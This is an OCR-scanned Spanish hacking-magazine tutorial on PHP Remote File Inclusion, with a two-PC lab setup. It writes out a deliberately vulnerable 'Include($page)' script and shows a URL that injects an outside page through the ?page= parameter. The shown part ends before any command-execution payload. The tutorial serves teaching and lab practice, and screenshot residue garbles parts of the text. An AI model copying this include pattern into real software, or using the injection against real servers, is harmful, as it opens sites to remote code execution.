


Hackeando Webs:

Remote File Inclusion

iiEnlazando con el diablo...!!

POR
HENRIQUE A.G (NeTTinG)

2.- Entrando en teoria... La vulnerabilidad:

La vulnerabilidad que vamos a estudiar en el presente articulo es conocida como Remote
File Inclusion, que viene a ser Inclusion Remota de Archivos en perfecto castellano.

Esta técnica, solo podra ser implementada en paginas dindmicas en PHP, para nada podra
ser implementado en paginas programadas en ASP, o otros lenguajes similares que no
permitan la inclusion de archivos ajenos al servidor.

Como su nombre indica, esta técnica nos permite enlazar remotamente archivos que estén
alojados en otros servidores. Dandonos la posibilidad de ejecutar comandos remotamente
en dicho servidor, entre otras muchas posibilidades que ya veremos, tiempo al tiempo d;b.

Aunque, siendo un poco mas tecnico, la verdad es que el servidor vulnerable no ejecuta
paginas dinamicas en PHP que no estén alojadas en su disco duro. Pero ya veremos en la
préactica como podemos contrarrestar esto, de nuevo, tiempo al tiempo :)

Para poder realizar un “ataque” de Remote File Inclusion es necesario que la pagina
dindmica programada en PHP este mal programada y que contenga la etiqueta include.
De nuevo, otra vez mas, todo esto lo veremos en la préctica, por ahora tan solo quiero que
tengais unos conocimientos tedricos para saber en que consiste el ataque o técnica, 0 como
quieras llamarle, aqui todo al gusto del consumidor.

La etiqueta o funcion include en PHP, (resumiendo lo m&ximo posible) sirve para incluir
dentro de una misma pagina varias otras paginas que contenga una serie de cddigo que nos
interesa usar para dicha pagina, entre otras posibilidades.

Como creo que no me he explicado lo mejor posible, pongamos un ejemplo:



Imaginate que estas creando una pagina web para una compafiia, pongamos por caso, que
esa compariia es un banco.

Imaginate que la compafiia te exige, aparte de una buena imagen, facilidad y otras
caracteristicas que la pagina este enlazada con una base de datos, para que los usuarios de
dicha compafiia bancaria puedan acceder a la web y dentro de ella observar como va su
economia.

Imaginate (si, ya se que soy pesado, pero la imaginacion es buena) que eres de esos
programadoras buenisimos que tiene mas titulos que papeles hay en una papeleria. Y que
controlas al maximo la programacion...

Imagina que cuando estas construyendo la web, descubres que es necesario introducir en
todas las paginas un mismo codigo que cree la conexion con la base de datos. Entonces te
das cuenta que tienes dos posibilidades (vale, vale, que puede a ver mas, pero es para no
salirnos del tema), crear en todas las paginas la conexion a la base de datos, caso que
terminas rechazando por el numeroso trabajo y por el gran abuso de codigo repetitivo que
debes introducir en todas las paginas, y por otros muchos motivos mas.

La segunda posibilidad, consiste en crear tan solo una pagina donde tan solo se encuentre el
codigo que provogue la conexidn con la base de datos y mediante la funcion include incluir
esta pagina a todas las otras paginas que necesiten la conexion a la base de datos. Vamos,
que te ahorras el trabajo de tener que poner el mismo cédigo fuente en unas bastantes
paginas :).

Tranquilo, no te enfades si no entiendes lo que acabo de explicar, no pienses gque eres poco
inteligente o que no tienes los conocimientos suficientes... yo en mi opinion soy de los que
opinan que si no entendemos algo que nos intentan explicar por medio de un articulo, como
es este caso, no es porgue seamos poco inteligentes 0 no tengamos ni idea del tema... en mi
opinion el autor es quien tiene la culpa, por no explicarlo como deberia... Algunos 0s
estareis preguntando a que viene esto ahora, la verdad es que no viene a cuento de nada,
pero... a ver quien es el jefazo que no se ha encontrado alguna que otra vez con alguin texto
incomprensible que ha provocado que te arranques los pelos de la cabeza y que te pongas
de mal humor.

Para usar la funcion include es necesario la siguiente sintaxis:

Include ($variable);
Aunque también podriamos usar:

Include(*“hackxcrack.php”);
Pero esta forma de programar con la funcion include no seria vulnerable a dicho ataque.
Ya que es necesario que la funcion include este acompafiada por una variable, para poder
modificar el valor de la variable como convenga mas al atacante.

De nuevo y no me cansare de decirlo ya veremos mas adelante como se implementa todo
esto paso a paso y de una forma totalmente practica y real.



3.- jilMPLEMENTANDO UN ATAQUE “REAL” PASO A PASO!!:

3.1.- Estudiando la vulnerabilidad (Ensuciando las manos):

Para realizar las practicas seria muy recomendable disponer de dos ordenadores con sus
correspondientes servidores web.

INOTA: Ya se ha comentado numerosas veces en esta revista, donde yo me incluyo,
que seria muy interesante disponer de varios ordenadores para realizar las practicas
que acompafian a cada articulo.

Nuestro compafiero PyC ha comentado en la revista n® 27 que se pueden hacer
grandes “yacimientos” buscando por las calles...

En el foro, por gentileza de Vic_Thor disponemos de un maravilloso hilo donde nos
habla de vmware (http://www.hackxcrack.com/phpBB2/viewtopic.php?t=14307) una
tremenda aplicacién muy practica para crear maquinas virtuales...

Aunque si quieres profundizar mas con VMware también puedes comprar la revista
PCSUPERMANUALES 2, y mancharte las manos de lleno con esta utilidad.

Y si tienes la gran suerte de disponer de algunas piezas viejas de otros ordenares, en el
foro, por gentileza del mismo autor que escribe este articulo, tienes a tu disposicion
una “guia” que te ayuda a montar ordenadores muy facilmente
(http://www.hackxcrack.com/phpBB2/viewtopic.php?t=12580)|

En mi caso, para realizar las practicas de este articulo, utilizare dos ordenadores los cuales
disponen de servidores Apache configurados por defecto...

¢Como...? ¢ Qué no sabes que es un servidor Apache...?...
Pues lo siente, no tienes excusa, esta revista ya ha tratado en numerosas ocasiones el tema
de los servidores web... y en numerosos articulos han explicado como instalar un servidor

web...

Aunque se que esta revista no apoya la “ignorancia” y busca detras del conocimiento, esta
vez hagamos una excepcion, instalaremos un servidor web pulsando un botdn...

1. - Dirigete a:

http://www.appservnetwork.com

2. - Pulsa sobre el enlace que pone “DOWNLOAD APPSERV (VERSION)”

3. - Una vez dentro del nuevo enlace, dispones de una lista de servidores desde donde
puedes descargar nuestro servidor web.

4. - Escogido el servidor de descarga, pulsado sobre el enlace y se producira la descarga
totalmente automatica.

5. - Escoge un directorio para guardar la instalacion...


http://www.hackxcrack.com/phpBB2/viewtopic.php?t=14307
http://www.hackxcrack.com/phpBB2/viewtopic.php?t=12580
http://www.appservnetwork.com/

6. - A esperar que se descargue el APPSERV.

7.- Una vez descargado, ejecuta el instalador que tendra un nombre como este, “appserv-
win32-version.exe”

8.- Aparece la tipica ventanita de instalacion... ya sabes, pulsa sobre NEXT.

F 5 |

Welcome
“Welcome to the AppSery w2, 4.0 Setup program. Thiz program will ingtall
AppSery w2 4.0 on vour computer,
. * [t iz ztrangly recommended that pou exit all Windows programs before
running this Setup program.
Easy way Click Cancel ta quit Setup and then cloze any programs vau hiave running.
to install Click Mext to continue with the Setup program.
for you.

WARMIMG: Thiz program iz protected by copyright lavw and international
treaties.

IInautharized repraduction ar distribution of this pragram, or ang partion of ik,
r;\ may result in zevere civil and criminal penaltiez, and will be prozecuted to
b

Iy L the maximum extent pozzible under law.
- \\MH gl

| Mest = | Cancel

9.- Ahora aparece otra ventana preguntandonos donde deseamos instalar el servidor, por

defecto, “C:\appser”. Dejémoslo asi, para que esté instalado totalmente por defecto... pulsa
de nuevo sobre NEXT...



r

Choose Destination Location

Setup will ingtall &ppSery w2 4.0 in the following directan.

To install to thiz directorg, click Mest.

} . * Toinstall to a different directomy, click Browse and select another directony.
Easy wa?f Y'ou can chooge not bo inztall AppSery w2 4.0, by clicking Cancel to exit
-+ to install Setup,
' for you.

— Destination Directary

ili: WAppSery Browse... |

Space Required: 26816 K.
Space Available: 1472544 K

< Back | MHext » | Cancel

10.- En otra ventana seleccionamos el tipo de instalacion, pero nos conformamos con el
“Typical”.

Setup Type

Click the type of Setup you prefer, then click Hest.

* &+ Tupical Frogram will be installed with the most common
ophionz. Recommended for most uzers.
Easy way

¥ to install

" Compact Program will be installed with minimunm required
optionz,
Only Apache web Server

" Custam Y'ou can chooge the options vau want to install

Fecommended for advanced uzers.

Space Required: 26816 K
Space Avalable: 1472544 K

¢ Back | M et = | Cancel




11.- De nuevo, nos encontramos con otra ventanilla, esta ventana quizas sea la mas
interesante de todas... recuerda que queremos instalar el servidor totalmente por defecto,
asi que no vamos a manipular ningun dato... Pero cambiando un poco de tema, y siendo un
pocCo curiosos, te has preguntado porque aparecen unos caracteres rarisimos después de
yourname@myhost.com, me refiero a esto:

Apache httpd Server

Server Information

| Please enter wour server's infarmation,
Easy way Server Mame [e.g. v mvdamain. com or localhost] |
to install ]Iu:u:alhu:ust
for you.

Administrator's Email Addresz [e.0. webmaster@mydomain. com) ;

1yaurname@m}lhast. foln]

HTTF Port [default : 80]

el

< Back MHext » Cencel

Si eres de los que suelen programar, seguramente sabras a lo que me refiero, dejemos el
tema que nos estamos desviando mucho de lo que en realidad nos interesa...

12.- Después de terminar con la instalacion de lo que es el servidor Apache, nos vuelve a
sorprender otra ventanilla mas, se trata de la instalacion de MySQL. Introduce un password
y un user, pero apuntalo en algun lado, que después hay fallos de memoria y no nos
acordamos ni del password ni del user.


mailto:yourname@myhost.com

HﬁQL Database

Server Information m
b Please enter wour MySOL infornation, M l,;l = Q I
* , SQL |

Easy way User Mame [e.g. apples | :
-+ to install ;m_lrlsql
for you.

Pazsword [e.g. mypazsword |
322225‘1

Charset [default latind ] ;

_ ‘!:\ latind -

pCOMPUTE-— _

< Back | MHewt = Cencel

13.- Y por fin... recibimos la ultima venta que nos informa de que se ha completado
totalmente la instalacion y si deseamos ejecutar Apache y MySQL, caso que aceptamos...
pulsamos CLOSE y abrimos nuestro navegador preferido...

Introducimos en la barra de direcciones la siguiente url:

http://localhost

O si lo prefieres:

http://127.0.0.1

Si todo ha ido bien nos aparecerd la siguiente pagina:


http://localhost/
http://127.0.0.1/

HTI Ho ze pende oncontrar & sarvador - Micresofd Interned Explasnr

Ahiva  Edcn  Ver  Pawsifcs  Horerarka Ay

£ ie - 23 B & ) pinands o Peeten g ptacka )| (] - 5 [=
wecé | b iocstost)

The AppServ Open Project - 2.4.0 for Windows

A prphtyaddmen Database Maneqes Versios 256
) FHF Inlsemnton Yaraios 4 36

.7 Pod Vorsson 5.0.0

whiout dp p T El
AppEeryis amergng open sowcn sofwane neimlor pecksge o Windows ncudes

* Apechn Wb SenesVemon 1.0.29

* PHP Sergil Lnsgqunge Version 4 36

* My SO0 Daleheso Yorsion 4010

* Fosd Cytimizarersion 351

+ phpiipadmin Dalehese Mesagerorson 256
# Iy messrd 1 ireatad| PHP Mok s plinsss and in FAD

# Changelog

# FEADME <— Flosss mad

& ALUTHORS

& COPYIHNG

# hip: v ipp Senddabok com

Chesge Langeap: ; S

# Easy way to badld Webserver, Database Server with AppServ -}

Una vez instalado el servidor web en un ordenador repetiremos la instalacion en el otro
ordenador, de esta forma tendremos dos ordenadores conectados en red con sus propios
servidores web independientes uno del otro.

Bueno, ahora ya podemos realizar las practicas sin ningun tipo de problema. Arranquemos
los dos servidores, ya sabes:

Inicio = Todos los programas = AppServ = Apache Control Server - Apache
Monitor.exe



-

£
&

Apache Service Monitor

Service Status
®  Apache

=
e

el R e

Start

Services

The Apache iz stopping.

The Apache haz stopped. Conrect

Exit

fpachef1.3.29 (Win32) PHP/4.3.6

Pulsamos sobre el boton “start” y felizmente arrancaremos nuestros servidores.

Creemos nuestro primer escenario para entender mejor las explicaciones:

Escenano 1

"\-
Router \

-

Servidor web

http: /’www.netting. com

Pongamos como ejemplo un escenario donde el PC 1 se quiere conectar con un servidor
web que aloja la pagina http://www.netting.com .

Para poder conectarse con el servidor web el PC 1 debe abrir su navegador e introducir la
direccion de destino... y por arte de magia el PC 1 visualizara la pagina www.netting.com.
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Para el caso de hoy, nos interesa trasladar el escenario anterior a un escenario de una red
cualquiera para hacer las practicas y no correr ningun tipo de peligro en Internet d ;b.

El escenario podria ser el siguiente, y es el que yo voy a utilizar para la siguiente
explicacion:

FEscenano 2

“1-__%1‘

/ Switch / Hub \

Servidor web

http:/192.168.0.1

Imaginemos que el PC 1 quiere conectarse al servidor web del escenario 2, para ello el
PC 1 debe abrir su navegar e introducir en la barra de direcciones también la direccion de
destino... Como puedes observar aparentemente todo funciona de la misma forma...

Hombre, si quieres también puede instalarte un servidor DNS, pero eso ya seria salirse
demasiado del tema, pero si te planteas esta posibilidad saca de tu estanteria el nimero 26
de los cuadernos de HaCKxCRaCK, en el articulo de “Atacando a la cache DNS”
Vic_Thor nos ensefia a instalar un servidor Bind, y asi de paso repasas un poco ;b.

Imaginemos de nuevo que el PC 1 accede a la pagina web que el servidor aloja en su disco
duro mediante el escenario 2:

11
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Ejemplo HaCKxCRaCK

Piagina Vulnerable a Remote File Inclusion

index.html

& Lo S ot el el

Seguro que a mas de uno ya se le han escapado unas sonrisas al ver tremendo disefio,
recuerda que es tan solo un ejemplo hecho con algunos restos de otras paginas que tengo
perdidas por mi disco duro :).

Siguiendo con la explicacion, pensemos que la siguiente pagina podria ser una de las miles
y miles de portales que podemos encontrarnos en la gran red, Internet, y que a su vez es
vulnerable a un ataque Remote File Inclusion.

Estudiemos entonces como esta programada esta pagina...

Para todos aquellos que hayan pensado que bastaria con mirar el codigo fuente, siento
defraudarles pero se equivocan, con eso no sacaremos provecho alguno de como se
encuentra programada la pagina ya que el codigo programado PHP no se encuentra en el
codigo fuente que nuestro navegador nos proporciona.

INOTA PARA NOVATOS: NOTA PARA NOVATOS, y mucha honra con eso de
novatos que todos somos eternos aprendices...

Si no sabes que es eso del cddigo fuente, es hora de que te vayas enterando...
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El codigo fuente puede considerarse como un programa escrito en algun lenguaje de
programacion (C, Pascal, Basic, Cobol...) y que es el conjunto de instrucciones
escritas por el programador para que el ordenador lo traduzca a su lenguaje
correspondiente, ya sabes, el codigo binario, para poder ser ejecutado y generar un
archivo independiente.

Aunque no tiene porque llegar a ser compilado, ya que hay lenguajes como PHP y
ASP que no necesitan que el codigo se compile, aunque después el servidor actué de
una manera muy similar.

Dejémoslo ahi, si quieres profundizar en el tema pregunta en nuestro maravilloso
foro, o dirigete hacia el mejor buscador, www.google.com.

Para poder ver el cddigo fuente de las paginas que visualizas con nuestro navegador,
debes acceder a una web cualquiera y pulsar sobre el menu Ver de tu navegador
preferido, luego sobre codigo fuente y al cabo de unas décimas de segundo
visualizaras en tu pantalla un Bloc de notas con el codigo fuente de la correspondiente
web que estas visualizando.

@ www. hackxcrack.com :: Yer tema - DICCIO

Archivo  Edicion | Wer | Fawaoritos  Herramientas £

’ . Barras de herramientas
G HiEE | v Barra de estado

GieaEiEn @ File: Barra del explorador »
Ira "
Detener Ear
Actualizar FE
Tamaro de bexta b
Codificacian b

Codigo fuente

Pantalla completa Fi1

Fijate en los recuadros de color rojo.|

Para poder estudiar dicha vulnerabilidad es necesario saber en que consiste exactamente el
error o falla. Pues sin tiempo que perder concentrémonos que llega lo tedrico y quizés lo
mas aburrido...

La vulnerabilidad aparece a la hora de no filtrar las variables que utiliza el programador
para definir el contenido de la pagina. Es decir, estas se pasan generalmente por el método
GET (vamos, por la barra de direcciones), mostrandonos el nombre y el valor de dicha
variable.

Seamos mas practicos y pongamos un ejemplo con la pagina a la que accedié con

anterioridad el PC 1.
Observa lo que sucede cuando pinchamos encima del boton “Hacking”:
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http://www.google.com/

fchen  [dods Vor  Faevorkos  Hermsertas  Ayeds

Gn: = el [A & B i b
" @ htkp: fflocalhost'WeByulPractic as%:20RFI plantila, phptpage=hacking. hkml ~ B

Foreitirs Sl M iwerls 4N = = .’ A

LOS CUHDERNDOS OE

Rimats File Inchusion
HaCkinG

Clases R.D.A:|Autori| ___ Descripciéon: _____|Acceso:

Clasa O MNeTTinG Presentacion de la serie RDA Html
Clase 1 MeTTinG 29 Clase de la serie RDA Html

Manifiesto Hacker Tha Mantor Manifiesto Hacker (Castallano) _ Html
Introducion Hacker El Jacker Introduccion al mundo hacker (Castellano) Html

http://www.paginavulnerableRFI.com

& T

Como era de esperar al pinchar sobre el boton “Hacking” hemos accedido a otra pagina
donde encontramos una seccion de Hacking, pero lo mas curioso de todo es lo que
encontramos en la barra de direcciones.

@ htkp:f flocalhost fweByuliPracticas % 20RFI plantila, phptpage=hacking. html

Destripemos todo ese churro de caracteres:

http://192.168.0.2/\WeBVul/Practicas%20RFI/plantilla.php?page=hacking.html

http://: Protocolo HTTP que utilizamos para conectarnos con servidores web que tienen el
puerto 80 a la escucha (en estado LISTENING).

192.168.0.2 / LocalHost: IP 0 nombre del servidor web al que queremos acceder.

/WeBVul/Practicas%20RFI: Directorio donde nos encontramos dentro del servidor
web, de esto podemos intuir que dentro de la carpeta input, www u otras (carpetas donde
se encuentran las paginas que aloja el servidor, dependiendo del servidor) existe otra
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http://192.168.0.2/WeBVul/Practicas%20RFI/plantilla.php?page=hacking.html

carpeta que se llama “WeBVul” y que a su vez dentro de esta existe otra subcarpeta con el
nombre de “Practicas RFI” (recuerda que el “%20” simboliza un espacio en blanco).
Esta parte puede variar segin la web o incluso puede darse el caso de no existir.

plantilla.php: Pagina que estamos visualizando. No deseo extenderme mucho mas en este
campo, aungue podiamos sacar algun tema interesante... pero dejémoslo en el anonimato

).

?page=hacking.html: Este es el parametro mas importante, asi que a su vez destripémoslo
también:

?: Indica que la siguiente cadena de texto es una variable, por ejemplo “?variable”,
simbolizada en PHP como: “$variable”.

Aunque si desedramos introducir otra variable mediante GET no podriamos introducir otro
“?” ya que solo es permito el uso del “?” tan solo una vez, para declarar otra variable
usamos el caracter “&”.

Ejemplo:

.../lindex.php?variable=Hack&yvariable2=x&variable3=Crack

Hagamos este ejemplo més practico, abre un editor de texto plano, el que mas te guste...
bueno, mejor abre el bloc de notas que sino va haber algun “cazurro” (sin ofender a nadie,
en el buen sentido de la palabra) que me va a utilizar el word o derivados y después claro,
no sabemos porque no funcionan las cosas...

¢Abierto...? Pues escribe el siguiente codigo:

<?
print "$v1 $v2 $v3';
7>

Y recuerda el punto y coma del final “;”.

Luego guardarlo en la ruta donde hayas instalado el servidor web, el APPSERV, si lo has
instalado por defecto la ruta es la siguiente “c:\appserv” pero OJO dentro de la carpeta
“www” con el nombre de “print.php”...

¢Como...? ;Qué no sabes que es una extension...? ¢ Qué solo puedes visualizar los
nombres de los ficheros y no sus extensiones?... ¢ Qué te guarda el archivo con el nombre
“print.php.txt...”?...

Lo siento, pero me niego a volver a explicar esto... a lo largo de esta revista ya se han
explicado cientos de veces como visualizar las extensiones de los archivos y hasta yo he
explicado en el n° 24 de los cuadernos de HackxCrack en que consiste eso de las
extensiones... Asi que tienes cuatro posibilidades...

1° Ponerte a llorar como un nifio...
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2° Afrontar el reto, y estudiar por tu propia cuenta (un camino muy duro pero muy
satisfactorio)...

3° Dirigirte al foro de HiCKxCRaCK (www.hackxcrack.com/phpBB2/index.php )
4° Coger la revista n® 24, entre otras, y releer la nota n° 3.

Es que si empezamos a introducir mas explicaciones nos vamos a desviar todavia mas del
tema que hoy nos atafie...

Ahora que ya tenemos asumidos todos los conceptos, arrancamos el APACHE (ya he dicho
antes como arrancarlo) y escribimos en nuestro navegador la siguiente direccion:

http://localhost/print.php

Siempre y cuando el archivo “print.php” se encuentre dentro de la carpeta “www”, es
decir, en la siguiente ruta “c:\appserviwww”, no en una subcarpeta de “www” o fuera de la
carpeta “www”, avisados estais... podremos observar dicha pagina.

Ya, ya se que el navegador Nos contesta con un error como este:

“Parse error: parse error, unexpected T_VARIABLE in c:\appserv\iwww\print.php on
line 27

Pero esto es la prueba de que todo marcha sobre ruedas ya que no hemos definido las
variables.
Declarémoslas mediante la barra de direcciones poniendo la siguiente direccion:

http://localhost/print.php?vl=Hack&v2=x&v3=crack

Fijate que para declarar la primera variable hemos utilizado el caracter “?”, es decir,
?v1=Hack, mientras que para las dos siguientes variables hemos usado el caracter “&”, es
decir, &v2=xy &v3=crack.

Si todo ha ido bien, al pulsar sobre enter obtendremos impreso en la pantalla la siguiente
cadena:

&1 http://localhost/WeBVul/Practicas RFIfprint. php?v1=Hackltv2=xftv3=c|

archivo  Edicidn  Wer  Faworibos  Herramienbtas  Awuda

G.ﬂ.tras . \ﬂ \ELI | S ! Blisgueda e Favoritas @Multln

Direccidn iEI hitkp: fflocalhostweBhul/Practicas s 20RFL print . phptw 1 =Hackw 2= 3=crack,

Hack x crack

?page: Crea o renombra la variable “$page”.
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http://www.hackxcrack.com/phpBB2/index.php
http://localhost/print.php
http://localhost/print.php?v1=Hack&v2=x&v3=crack

?page=hacking.html: Declara que la variable “$page” es igual a “hacking.html”

Hasta ahora tan solo sabemos que el programador ha decidido declarar las variables
mediante GET y que mediante la barra de direcciones podemos declarar variables o
renombrarlas. Y para saber todo esto nos hemos tirado nada menos que unas tres o cuatro
paginas en explicarlo, por o menos espero que todos lo hayais entendido perfectamente :)

Pero todavia no sabemos si es vulnerable a Remote File Inclusion, asi que para ello,
sigamos investigando...

Volvamos a la pagina principal, y pinchemos sobre el gif “cracking” para comparar los
resultados de la barra de direcciones.
Exacto!!! Como nos temiamos la barra de direccion ha variado.

[ET P - Wicrosett intarmed Exploret l=f=%d
dhiva  Faatn W Povaler hemgmenl  Avuds g
pvgpm % - Jel (e % i mmee st ey S W 8 L | L.
@:ﬁ hiktps ,I',l'|I:II:a"‘lI:ISt,l"'."'."EB"."I.I|,I'F'ral:tll:as"'.-"ozDRFI,I'FI|-3I'||:I||-3 php?page cracking. htrml <l E3s -

Rclut Fllc Inciumn

CraCkinG

Clases R.D.A:| Autor

Clase 0 MeTTinG Presentacion de la serie RDA Html
Clase 1 MeTTinG 22 Clase de la serie RDA -

http://www.paginavulnerableRFI.com

8] Lo o st el

La barra de direcciones contiene una cadena de texto igual que la anterior, excepto que la
variable ?page contiene otro valor:

:EI hitkp s flocalhost fweByulfPracticas .2 0RFI) plantila, php?page=cracking. html

Esta vez la variable contiene el valor “cracking.htmi”...
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Razonemos:
Sabemos que la etiqueta include para funcionar necesita la siguiente sintaxis:

Include ($variable)
$variable = “pagina.php/html/...”

Deducimos que dicha variable es definida como $page ya que es la Unica variable que
encontramos en la barra de direcciones y es la Unica que obtiene los nombres de otras
paginas (?page=hacking.html) que deseamos visualizar (hacking.html y cracking.html)

Hagamos una prueba para confirmar que todo lo anterior es verdadero y por tanto que la
pagina es vulnerable a un ataque de Remote File Inclusion,

Vamos a renombrar la variable ?page dandole como valor una péagina que no tenga relacion
alguna con dicho portal.

Para ello, introduciremos en el navegador la siguiente direccion:

http://localhost/WeBVul/Practicas%20RFI/plantilla.php?page=http://localhost/inde.h
tml

Si la pagina es vulnerable y todo ha ido bien, podremos observar algo como esto:
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http://localhost/WeBVul/Practicas%20RFI/plantilla.php?page=http://localhost/prueba.html
http://localhost/WeBVul/Practicas%20RFI/plantilla.php?page=http://localhost/prueba.html

B PP - e sy Internet Faplares =18 f;-‘
Arthivs Ckin Yo Freotm  Fenemsrbe  Aosda |I
J fimhe T w il i Aerrds Famrwidee il b trvada  J a = _

£ | http: JlocalhostfwWeBvullPracticas .2 0RFIjplantila.php?pageshttp: /flocalhast [P agindep. bt | B

Ejemplo HaiCKxCRaCK 2

Pagina Independiente

(Desde las lineas rojas)

£] Lok %d by aret b d

Donde si somos un poco observadores descubriremos que la pagina externa, por llamarla de
alguna manera, es de color negro, y tan solo ocupa desde la primera linea blanca (debajo de
Remote File Inclusion) hasta las dos lineas paralelas blancas del final.

Las triples lineas rojas pertenecen a la pagina externa, que para nada tiene que ver con la
pagina que estuvimos estudiando a lo largo de estas Gltimas paginas.

Si volvemos a destripar el churro de caracteres que hemos introducido en la barra de
direcciones encontramos:

http://: Protocolo HTTP que utilizamos para conectarnos con servidores web que tienen el
puerto 80 a la escucha (en estado LISTENING).

192.168.0.2 / LocalHost: IP 0 nombre del servidor web al que queremos acceder.

/WeBVul/Practicas%20RFI: Directorio donde nos encontramos dentro del servidor
web, de esto podemos intuir que dentro de la carpeta input, www u otras (carpetas donde
se encuentran las paginas que aloja el servidor, dependiendo del servidor) existe otra
carpeta que se llama “WeBVul” y que a su vez dentro de esta existe otra subcarpeta con el
nombre de “Practicas RFI” (recuerda que el %20 simboliza un espacio en blanco).
Este dato puede variar segin la web o incluso puede darse el caso de no existir.
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plantilla.php: Pagina que estamos visualizando. No deseo extenderme mucho mas en este
campo, aunque podiamos sacar algin tema interesante... pero dejémoslo en el anonimato

).

?page=http://localhost/Paglndep.html: Este es el campo mas importante, ya que es aqui
donde encontramos la vulnerabilidad. Lo que provocamos aqui ya fue explicado, pero para
los despistados lo repetiremos:

El caracter “?” nos indica que “page” es una variable, donde dicha variable es igualada
mediante el operador “=" a la pagina http://localhost/Paglndep.html.

Provocando que dicha pagina (http://localhost/Paglndep.html) sea enlazada y cargada en
plantilla.php, que es la pagina programada en PHP que contiene la etiqueta Include
($page), encargada de cargar las distintas paginas que le indiquemos mediante GET (barra
de tareas).

En este apartado nada maés...

3.2.- HACKEANDO AL SERVIDOR VULNERABLE, jiARRIBA LAS MANOS!!:

Seguramente el apartado anterior no te ha dejado un buen sabor de boca, todavia no has
podido ensuciarte las manos, pero tranquilo, que en este apartado compensamos el apartado
anterior, quizas, en este apartado no te lleguen las dos manos d:b ... No pasa nada,
usaremos los pies :).

Ahora que entendemos notablemente, en que consiste la vulnerabilidad, podemos jugar un
poco con los servidores que hemos montado en el apartado anterior...

Pero para ello debes tener muy claro el siguiente escenario:

Switch / Hub

Escenaro 3

192.168.0.1 192.168.0.4

http://1192.168.0.1  http:/192.168.0.4
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http://localhost/PagIndep.html
http://localhost/PagIndep.html

Como ya dije con anterioridad, para realizar las practicas tan solo utilizare dos ordenadores
conectados en una red mediante un switch.

Para que todas las partes se comprendan perfectamente es necesario entender el escenario
3. Donde el PC 1 con la IP 192.168.0.1 actuara como servidor web y como atacante,
mientras que el PC 2 con la IP 192.168.0.4 actuard como servidor web vulnerable y
victima.

Preparemos la masa para poder meter el pan al horno:

En el PC 2, dirigete a la carpeta donde hayas instalado el servidor web, si lo has instalado
por defecto tu ruta es:

“C:\AppServ”

Una vez dentro de la carpeta “AppServ”, entra dentro de la carpeta “www”, recuerda que
esta es la carpeta donde deben de estar todas nuestras paginas webs que deseamos que el
servidor aloje. Dentro de esta carpeta encontraras una variedad de ficheros y carpetas que
nos estorbaran para realizar las préacticas, los sacaremos del medio, pulsa la combinacion de
teclas [control] + [E] al mismo tiempo para seleccionar todos los archivos, luego vuelve a
pulsar la combinacion de teclas [control] + [X] para cortar todo lo seleccionado. Por ultimo
crea una carpeta con el nombre “basura” e introducete dentro, una vez dentro pulsa la
combinacion de teclas [control] + [V] para pegar lo seleccionado.

Vuelve a la ruta anterior (C:\AppServi\www) y crea una nueva carpeta con el nombre
“Practicas RFI”.
Ahora abre el bloc de notas, y escribe el siguiente cédigo:

<?
Include($page);
?2>

Guarda el archivo en la ruta “C:\AppServ\www\Practicas RFI” con el nombre
“index.php” (ejem, ejem... pon el combox de tipo en “Todos los archivos” para que no
guarde el archivo como index.php.txt sino como index.php. Después dirdn que no lo he
dicho xD)

Arranca el servidor web con el Apache Monitor tal y como he explicado antes.
Una vez arrancado o conectado el servidor web, estaremos consiguiendo que el PC 2
muestre la pagina “index.php” a todo aquel ordenador que se conecte a nuestro servidor.

Bien, ahora que tenemos todo preparadito sentémonos delante del PC 1 (atacante),
abrimos el Internet Explorer y en la barra de tareas escribimos la siguiente direccion:

http://192.168.0.4/index.php
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http://192.168.0.4/index.php

Hasta aqui es como si nos conectaramos a cualquier servidor web de la gran red, Internet
(igual que el escenario 1).

Escenano 1

Router \\

>

Servidor web

http:/’www.netting. com

Si, ya se que soy muy pesado con esto de los escenarios, pero quiero que 0s vayais
acostumbrando a ver una red (una ethernet o Intranet) como una Internet mas pequefia, para
que llegado el momento de practicar con una vulnerabilidad la podrias estudiar desde
vuestra red, sin tener que depender de nadie. Hazme caso, de esta manera descubrirés
grandes “yacimientos” que te llenaran de un estupenda satisfaccion personal.

Si todo ha ido bien, en nuestro explorador visualizaremos un error como este:

% HTTP 404 Mo encentrade - Microseft Inter net Explorer

Mechen  Bdodne  ¥Wor  Fosoiifos  Hosamientas  Ayoda
QMB - w2 ; - Edsnuda - Faastas ﬂ"'untrm:h £ | '_'i

=

succite | ] hbepol o cabastiPracticas S 20RFLindo ohp

Warning: mam(): Failed opamng " for inclusion (include_path="c:\phpd'pea’) in eappservivww practicas vfivindex.php on line 2
“Warning: main(): Failed opening " for inclusion (include_path=".;c:\php4\pear’) in
e:\appserviwww\practicas rfi\index.php on line 2”

Tranquilos, esto es de lo mas normal, ya que no le hemos dado ningun valor a la variable
$page cuando hemos programado la pagina “index.php”.

Se que esto puede parecer sencillamente cutre, pero por falta de espacio y tiempo no vamos

a programar una pagina desde cero, para entender y poder realizar las practicas nos basta
con este ejemplo.
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Aunque yo utilizare mi pagina vulnerable para darle un toque mas serio y autentico al
ataque d;b.

Imaginemos que ya hemos estudiado y examinado todo el portal como hemos aprendido en
el apartado anterior de este articulo y que sabemos con certeza que dicho portal es
vulnerable a un ataque de Remote File Inclusion.

Imaginemos que deseamos enlazar la pagina vulnerable (“index.php”) de es este portal,
con una pagina externa al servidor vulnerable...

Cambiemos radicalmente de tema, prepara el servidor web del PC 1 tal y como te
ensefie con el servidor del PC 2 para evitar que los archivos que contiene el servidor por
defecto nos molesten en nuestras actividades culturales :).

Una vez realizado lo anterior (todo ello en el PC 1) abre el bloc de notas y escribe lo
siguiente:

<IDOCTYPE HTML PUBLIC "-//W3C//[DTD HTML 4.01 Transitional//EN"">
<html|>

<head>

<title>Ejemplo HXC by NeTTinG</title>

<meta http-equiv=""Content-Type"" content=""text/html; charset=iso-8859-1"">
</head>

<body bgcolor="#000000"">
<div align=""center*>

<p><font color=""#0099CC" size=""7"" face=""Times New Roman, Times,
serif"">Ejemplo

HackxCrack 1</font> </p>

<p><font color=""#006699"'><strong>~ PAGINA ENLAZADA
~</strong></font></p>

<p>&nbsp;</p>

<p>&nbsp;</p>

<p><font color="#FFFFFF" size=""5""><strong>TODO ESTO ES LA PAGINA QUE
SE HA ENLAZADO</strong></font></p>

<p>&nbsp;</p>

</div>
</body>
</html>

Guaérdalo con el nombre “EjemploHXC.html” en la ruta “C:\AppServiwww”.

O si lo prefieres copia cualquier pagina web que tengas perdida por tu disco duro en la ruta
“C:\AppServiwww” y asi nos evitamos el trabajo de escribir esa barbaridad de letras en el
bloc de notas, pero 0jo, recuerda como se llama la pagina.

